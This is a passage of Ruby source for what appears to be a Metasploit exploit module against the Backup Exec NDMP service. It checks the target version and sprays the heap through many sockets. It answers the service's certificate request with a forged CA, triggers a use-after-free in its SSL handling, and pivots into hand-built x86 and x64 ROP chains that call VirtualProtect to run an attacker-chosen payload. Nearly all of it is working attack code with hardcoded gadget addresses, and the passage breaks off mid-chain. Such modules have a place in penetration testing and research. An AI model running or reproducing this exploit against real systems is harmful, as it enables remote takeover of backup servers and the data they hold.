'DisclosureDate' => 'May 10 2017',
'DefaultTarget' => 8))
register_options([
OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]),
OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
])
end
def check
s = NDMP::Socket.new(connect)
return CheckCode::Unknown unless connect_ndmp(s, 2)
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
return CheckCode::Unknown unless resp
info = HostInfoResponse.from_xdr(resp.body)
print_line('Hostname: ' + info.hostname)
print_line('OS type: ' + info.os_type)
print_line('OS version: ' + info.os_version)
print_line('Host ID: ' + info.host_id)
disconnect
s = NDMP::Socket.new(connect)
return CheckCode::Unknown unless connect_ndmp(s, 3)
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
return CheckCode::Unknown unless resp
info = ServiceInfoResponse.from_xdr(resp.body)
print_line('Vendor: ' + info.vendor_name)
print_line('Product: ' + info.product_name)
print_line('Revision: ' + info.revision_number)
ver = info.revision_number.split('.')
if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
CheckCode::Appears
else
CheckCode::Detected
end
end
def exploit
print_status('Connecting sockets...')
# Connect a differing amount of sockets for stage 1 spraying depending on the target
spray_socks = connect_additional_sockets(
datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
)
# Likewise, connect a differing amount of sockets for TLS extension spraying depending
# on the target
num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
case target.opts['Version']
when 14
0
when 15
target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
when 16
target.opts['Arch'] == ARCH_X64 ? 100 : 0
end
)
tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
s = NDMP::Socket.new(connect)
unless connect_ndmp(s, 3)
fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
end
ca_cert, ca_key = generate_ca_cert_and_key
ca_cert_id = get_cert_id(ca_cert)
print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
print_status('Getting and handling a certificate signing request...')
agent_cert = handle_a_csr(s, ca_cert, ca_key)
fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
# For certain target types, put the stage 1 spray sockets into SSL mode. We can use
# the newly made CA certificate and key as our client side certificate
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.cert = ca_cert
ssl_context.key = ca_key
print_status('Entering spray sockets into SSL mode...')
(1..2).each do |phase|
spray_socks.each do |ss|
require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
ss.wrap_with_ssl(ssl_context) if phase == 2
end
end
end
print_status('Testing certificate...')
require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)
# For some targets, split the spraying of TLS extensions around entering SSL on the
# main socket
tls_cutoff = tls_spray_socks.length
if target.opts['Win8Upwards']
if target.opts['Arch'] == ARCH_X86
tls_cutoff /= 2
end
else
tls_cutoff /= 10
end
spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)
print_status('Entering SSL mode on main socket...')
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)
# Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
# stages are contained in the SSL socket buffer at the time of the UAF. The record
# itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
# record (depending on the amount of trigger attempts required; see attempt_triggers)
print_status('Sending stages 2 to 4...')
if target.opts['Arch'] == ARCH_X64
if target.opts['Version'] == 14
# x64, version 14. Use a TLS handshake record
#
# Windows 8+:
# Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 0 | 16 | 03 | 01 | length | FILLER
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 10 | ret 3
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 20 | ret | FILLER |
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 30 | retsled (0x10 aligned length)... |
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# .. | stages 2-4...
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
#
# Otherwise:
# Stage 1 jumps to 0x18
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 0 | 16 | 03 | 01 | length | FILLER
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 10 | ret |
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 20 | stages 2-4...
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
ret = [0xbe6c897].pack('Q<')
if target.opts['Win8Upwards']
ret_3 = [0xbe2829b].pack('Q<')
payload = rand_text(24) + ret_3 + ret + rand_text(3) +
ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
else
payload = rand_text(19) + ret
end
payload << generate_stages_2_to_4
stage_tls = generate_tls_handshake_record(payload)
else
# x64, version 15/16. Use a SSLv2 hqndshake record
# Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
# Otherwise: Stage 1 jumps to 0x18
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 0 | length | 01 | 03 | FILLER
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 10 | pop x3; ret |
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 20 | FILLER | ret 5 | ret
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 30 | FILLER | retsled (0x8 aligned length)... |
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 40 | stages 2 - 4...
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
pop_x3 = [0xbe1d920].pack('Q<')
ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
ret = [0xbe6c897].pack('Q<')
payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
generate_stages_2_to_4
stage_tls = generate_tls_in_sslv2_clienthello(payload)
end
else
if target.opts['Version'] == 14
# x86, version 14. Use a TLS handshake record
# Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
# Otherwise: Stage 1 jumps to 0x4
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 10 | FILLER | retsled... | stages 2 to 4...
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
pop_x3 = [0x6311f901].pack('L<')
ret_3 = [0x6312164a].pack('L<')
ret = [0x63101514].pack('L<')
payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)
stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
else
# x86, version 15/16. Use a SSLv2 hqndshake record
# Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
# Otherwise: Stage 1 jumps to 0x4
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
# 10 | FL | retsled... | stages 2 to 4...
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
ret = [0x63101564].pack('L<')
payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
ret * [0, datastore['NumTriggerAttempts'] - 3].max +
generate_stages_2_to_4
stage_tls = generate_tls_in_sslv2_clienthello(payload)
end
end
s.raw_sendall(stage_tls, 0)
if target.opts['Version'] == 14
resp = s.raw_recv(5)
fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
s.raw_recv(resp[3...5].unpack('n')[0])
end
print_status('Closing TLS spray sockets...')
tls_spray_socks.reverse! unless target.opts['Win8Upwards']
tls_spray_socks.each do |ts|
ts.close
sleep(0.1)
end
sleep(1)
# Spray stage 1 in the string payloads of selected NDMP packet types
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
else
spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
end
spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)
# We need to be able to detect as soon as a connection is made to the payload in order
# to stop spraying/trigger attempts ASAP
@payload_connected = false
if payload_instance.respond_to?(:handle_connection)
old_handle_connect = payload_instance.method(:handle_connection)
payload_instance.define_singleton_method(:handle_connection) do |*args|
@payload_connected = true
old_handle_connect.call(*args)
end
end
if target.opts['Win8Upwards']
# After this SSL request, the BIO struct is freed but still referred to in the new
# SSL context
print_status('Re-entering SSL mode on main socket...')
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
attempt_triggers(s, spray_socks, spray_msg)
else
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
attempt_race(s, spray_socks, spray_msg, ca_cert_id)
end
handler
end
private
SSL_HANDSHAKE_REQUEST = 0xf383
class SSLRequest < XDR::Struct
class Opcode < XDR::Enum
member :test_cert, 1
member :get_csr_req, 2
member :give_signed_cert, 3
member :start_ssl, 4
seal
end
attribute :opcode, Opcode
attribute :media_server_name, XDR::String[]
attribute :media_server_fqdn, XDR::String[]
attribute :media_server_addr, XDR::String[]
attribute :cert_id_1, XDR::Int
attribute :cert_id_2, XDR::Int
attribute :unknown1, XDR::Int
attribute :unknown2, XDR::Int
attribute :unknown3, XDR::Int
attribute :ca_cert, XDR::String[]
attribute :unknown4, XDR::Int
attribute :agent_cert, XDR::String[]
def self.new_for_opcode(opcode)
new(
:opcode => opcode,
:media_server_name => 'foo',
:media_server_fqdn => 'foo',
:media_server_addr => 'foo',
:cert_id_1 => 0,
:cert_id_2 => 0,
:unknown1 => 0,
:unknown2 => 0,
:unknown3 => 0,
:ca_cert => '',
:unknown4 => 0,
:agent_cert => ''
)
end
end
class SSLResponse < XDR::Struct
attribute :unknown1, XDR::Int
attribute :unknown2, XDR::String[]
attribute :unknown3, XDR::Int
attribute :unknown4, XDR::String[]
def empty?
(attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
attributes[:unknown3].zero? && attributes[:unknown4].empty?)
end
end
class ServiceInfoResponse < XDR::Struct
attribute :error, XDR::Int
attribute :vendor_name, XDR::String[]
attribute :product_name, XDR::String[]
attribute :revision_number, XDR::String[]
attribute :auth_types, XDR::VarArray[XDR::Int]
end
class HostInfoResponse < XDR::Struct
attribute :error, XDR::Int
attribute :hostname, XDR::String[]
attribute :os_type, XDR::String[]
attribute :os_version, XDR::String[]
attribute :host_id, XDR::String[]
attribute :unknown, XDR::VarArray[XDR::Int]
end
#
# Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
#
def connect_ndmp(s, version, phase=nil)
if phase.nil? || phase == 1
return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
end
if phase.nil? || phase == 2
return false unless s.prepare_and_write_ndmp_msg(
NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
)
end
if phase.nil? || phase == 3
msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
return false unless msg
fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
end
true
end
#
# Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
#
def connect_additional_sockets(num_socks, version)
socks = (0...num_socks).map do
NDMP::Socket.new(connect(false))
end
(1..3).each do |phase|
socks.each do |ss|
unless connect_ndmp(ss, version, phase)
fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
end
end
end
socks
end
#
# Send a Backup Exec-specific SSL NDMP request and receive the response.
#
def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
if phase.nil? || phase == 1
req = SSLRequest.new_for_opcode(opcode)
req.cert_id_1 = req.cert_id_2 = ca_cert_id
msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
if block_given?
last = s.prepare_and_write_ndmp_msg(msg, true)
return nil unless last
sleep(1)
yield true
s.raw_sendall(last, 0)
yield false
else
return nil unless s.prepare_and_write_ndmp_msg(msg)
end
end
if phase.nil? || phase == 2
msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
return msg ? SSLResponse.from_xdr(msg.body) : nil
end
nil
end
#
# Send a Backup Exec SSL NDMP request and receive the response, requiring the response
# to be empty.
#
def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
if phase.nil? || phase == 2
fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
end
end
#
# Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
# of the SHA-1 of the issuer and the raw serial number.
#
def get_cert_id(cert)
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
end
#
# Create a self-signed CA certificate and matching key.
#
def generate_ca_cert_and_key(key_len=2048)
ca_key = OpenSSL::PKey::RSA.new(key_len)
ca_cert = OpenSSL::X509::Certificate.new
ca_cert.version = 3
ca_cert.serial = 1
ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
ca_cert.not_before = Time.now - 60 * 60 * 24
ca_cert.not_after = Time.now + 60 * 60 * 24 * 365
ca_cert.public_key = ca_key.public_key
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
ca_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'critical,CA:true')
]
# Have to do this after creating subjectKeyIdentifier extension
ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
[ca_cert, ca_key]
end
#
# Get and handle a certificate signing request from Backup Exec with the given CA
# certificate and key.
#
def handle_a_csr(s, ca_cert, ca_key)
resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
return nil if resp.nil?
request = OpenSSL::X509::Request.new(resp.unknown2)
agent_cert = OpenSSL::X509::Certificate.new
agent_cert.version = 3
agent_cert.serial = 2
agent_cert.subject = request.subject
agent_cert.issuer = ca_cert.subject
agent_cert.not_before = Time.now - 60 * 60 * 24
agent_cert.not_after = Time.now + 60 * 60 * 24 * 365
agent_cert.public_key = request.public_key
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
agent_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'critical,CA:false')
]
# Have to do this after creating subjectKeyIdentifier extension
agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
req.ca_cert = ca_cert.to_s
req.agent_cert = agent_cert.to_s
return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
agent_cert
end
#
# Generate a TLS handshake record with the given payload.
#
def generate_tls_handshake_record(payload, required_fifth_byte=nil)
fail_with(Failure::Unknown, 'No payload') if payload.empty?
# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
# the header, which is the second byte of the length word
unless required_fifth_byte.nil?
payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
end
"\x16\x03\x01" + [payload.length].pack('n') + payload
end
#
# Generate a TLS ClientHello record with the given Random and extensions (ie. for
# holding stages 2-4).
#
def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
fail_with(Failure::Unknown, 'No TLS extension payloads given')
end
if ec_formats_extn_payload.length > 0xff
fail_with(Failure::Unknown, 'Bad EC formats extension length')
end
if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
fail_with(Failure::Unknown, 'Bad curves extension length')
end
if random.length != 0x20
fail_with(Failure::Unknown, 'Bad random length')
end
extns = ''
unless curves_extn_payload.empty?
extns << [
10,
curves_extn_payload.length + 2,
curves_extn_payload.length
].pack('n*') + curves_extn_payload
end
unless ec_formats_extn_payload.empty?
extns << [
11,
ec_formats_extn_payload.length + 1,
ec_formats_extn_payload.length
].pack('nnC') + ec_formats_extn_payload
end
r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
r << [extns.length].pack('n') + extns
r = "\x01" + [r.length].pack('N')[1...4] + r
generate_tls_handshake_record(r)
end
#
# Generate a TLS ClientHello record in a SSLv2 record with a given payload.
#
def generate_tls_in_sslv2_clienthello(payload)
fail_with(Failure::Unknown, 'No payload') if payload.empty?
fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
r = "\x01\x03" + payload
[r.length | 0x8000].pack('n') + r
end
#
# Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
#
def spray_tls_extensions(tls_spray_socks, ca_cert_id)
payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
print_status('Spraying TLS extensions...')
(1..2).each do |phase|
tls_spray_socks.each do |ts|
require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
if phase == 2
ts.raw_sendall(spray, 0)
sleep(0.1)
end
end
end
sleep(1)
end
#
# Generate stage 1.
#
# This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
# location (to prevent Backup Exec from falling over or failing) and a stack pivot to
# some offset from the current SSL socket buffer read location, which will hold a
# TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
# offset will be different at each UAF trigger attempt; see attempt_triggers).
#
def generate_stage_1
if target.opts['Arch'] == ARCH_X64
stage_1 = [
# +0x18 from here is a non-zero, readable location. This is the load address of
# becrypto.dll (which is non-ASLR)
0xbe00000,
# On x64, we pivot into the current SSL socket buffer read location + 0x18
# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
].pack('Q<*')
else
stage_1 = [
# +0x18 from here is a non-zero, readable location. This is the load address of
# becrypto.dll (which is non-ASLR)
0x63100000,
# On x86, we pivot into the current SSL socket buffer read location + 0x4
# mov esp, ebp; pop ebp; ret
target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
].pack('L<*')
end
stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
end
#
# Generate stages 2 to 4.
#
# Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
# to) onto the stack, bypassing Windows 8+'s check before certain functions (like
# VirtualProtect) that we have called them from within expected stack memory instead of
# the heap.
#
# Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
# (but we only really need stage 4 executable anyway).
#
# Stage 4 is the user-selected Metasploit payload code.
#
def generate_stages_2_to_4
stage_4 = payload.encoded
if target.opts['Arch'] == ARCH_X64
if target.opts['Version'] == 14
stage_3 = [
0, # skipped by stage 2
0xbe31359, # push rax; pop rsi; ret
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe2987c, # mov rcx, rax; call r12
0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe37f75, # push rax; pop rdi; ret
0xbe43b25, # mov rcx, rsi; call r12
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe6949a, # push rax; pop r12; ret
0xbe4f7ec, # pop r14; pop r13; ret
0xbe2ab32, # pop r8; ret
0,
0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
0xbe01f72, # pop rax; ret
0xbe2ab32, # pop r8; ret
0xbe36e8e, # mov rcx, rdi; call rax
0xbe01a29, # ret
0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe37f75, # push rax; pop rdi; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe43b25, # mov rcx, rsi; call r12
0xbe399d0, # pop r13; ret
1 << 31,
0xbe33c3e, # mov rdx, r13; call r12
0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
0xbe399d0, # pop r13; ret
0,
0xbe33c3e, # mov rdx, r13; call r12
0xbe2ab32, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe01a29, # ret
0xbe5180b, # jmp rdi
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe63938 # push rsp; ret
]
stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
stage_3[17] = stage_3[3] + kernel32_dll.length
stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
elsif target.opts['Version'] == 15
stage_3 = [
0xbe68a34, # push rax; pop rbx; ret
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe9b627, # mov rcx, rax; call r12
0xbe4929d, # ret
0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe34c0c, # push rax; pop rbp; ret
0xbefc534, # mov rcx, rbx; call r12
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe9b627, # mov rcx, rax; call r12
0xbefc526, # mov rdx, rcx; call r12
0xbe9ad68, # mov rcx, rbp; call r12
0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe43269, # push rax; pop rsi; ret
0xbefc534, # mov rcx, rbx; call r12
0xbebd50e, # pop r13; ret
0,
0xbe97c4e, # mov rdx, r13; call r12
0xbeae99d, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe3c9c0, # test rdx, rdx; setne al; ret
0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
0xbe4929d, # ret
0xbe9436d, # jmp rsi
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe2184d, # pop rdi; ret
0xbebd50e, # pop r13; ret
0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
]
stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
elsif target.opts['Version'] == 16
stage_3 = [
0xbe4e888, # push rax; pop rbx; ret
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbe01c2c, # ret
0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe12ed0, # pop rdi; ret
0xbe45a01, # pop r13; ret
0xbeaedb0, # mov rbp, rax; call rdi
0xbe5851a, # mov rcx, rbx; call r12
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbefe516, # mov rdx, rcx; call r12
0xbe9bf28, # mov rcx, rbp; call r12
0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe433b9, # push rax; pop rsi; ret
0xbe5851a, # mov rcx, rbx; call r12
0xbe45a01, # pop r13; ret
0,
0xbe2e55e, # mov rdx, r13; call r12
0xbe27c76, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe3caf0, # test rdx, rdx; setne al; ret
0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
0xbe01c2c, # ret
0xbe56cad, # jmp rsi
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe12ed0, # pop rdi; ret
0xbe45a01, # pop r13; ret
0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
]
stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
end
else
if target.opts['Version'] == 14
stage_3 = [
0x63117dfa, # pop edi; ret
0x63101514, # ret
0x63116cc9, # pop esi; ret
0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
0x631017ff, # pop ebp; ret
0x631213e6, # add esp, 0x20; ret
0x63137a3c, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x63117dfa, # pop edi; ret
0x6311de4c, # pop edi; pop ebp; ret
0x6311b614, # push eax; call edi
0x63117dfa, # pop edi; ret
0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
0x63116cc9, # pop esi; ret
0x631213e6, # add esp, 0x20; ret
0x63137a3c, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x6314de45, # xchg eax, edi; ret
0x6311db46, # push esp; pop esi; ret
0x6311a398, # xchg eax, esi; ret
0x63116cc9, # pop esi; ret
0x6311f902, # pop ebx; pop ecx; ret
0x63123d89, # push eax; call esi
0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101514, # ret
0,
0x631309f4, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x63117dfa, # pop edi; ret
0x63101514, # ret
0x6310185a, # pop eax; ret
0x63139ec5, # push esp; ret
0x63137a3c # pushal; ret
]
stage_3[31] = stage_4.length + 4
elsif target.opts['Version'] == 15
stage_3 = [
0x6311e378, # pop edi; ret
0x63101564, # ret
0x631289b9, # pop esi; ret
0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
0x6310184f, # pop ebp; ret
0x6313937d, # add esp, 0x20; ret
0x6311c618, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
0x6311e378, # pop edi; ret
0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
0x631289b9, # pop esi; ret
0x6313937d, # add esp, 0x20; ret
0x6311c618, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x631289b9, # pop esi; ret
0x631018aa, # pop eax; ret
0x63198446, # mov edi, eax; call esi
0x63137496, # push esp; pop esi; ret
0x6312c068, # xchg eax, esi; ret
0x631289b9, # pop esi; ret
0x6315c407, # pop ebx; pop ecx; ret
0x63189809, # push eax; call esi
0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101564, # ret
0,
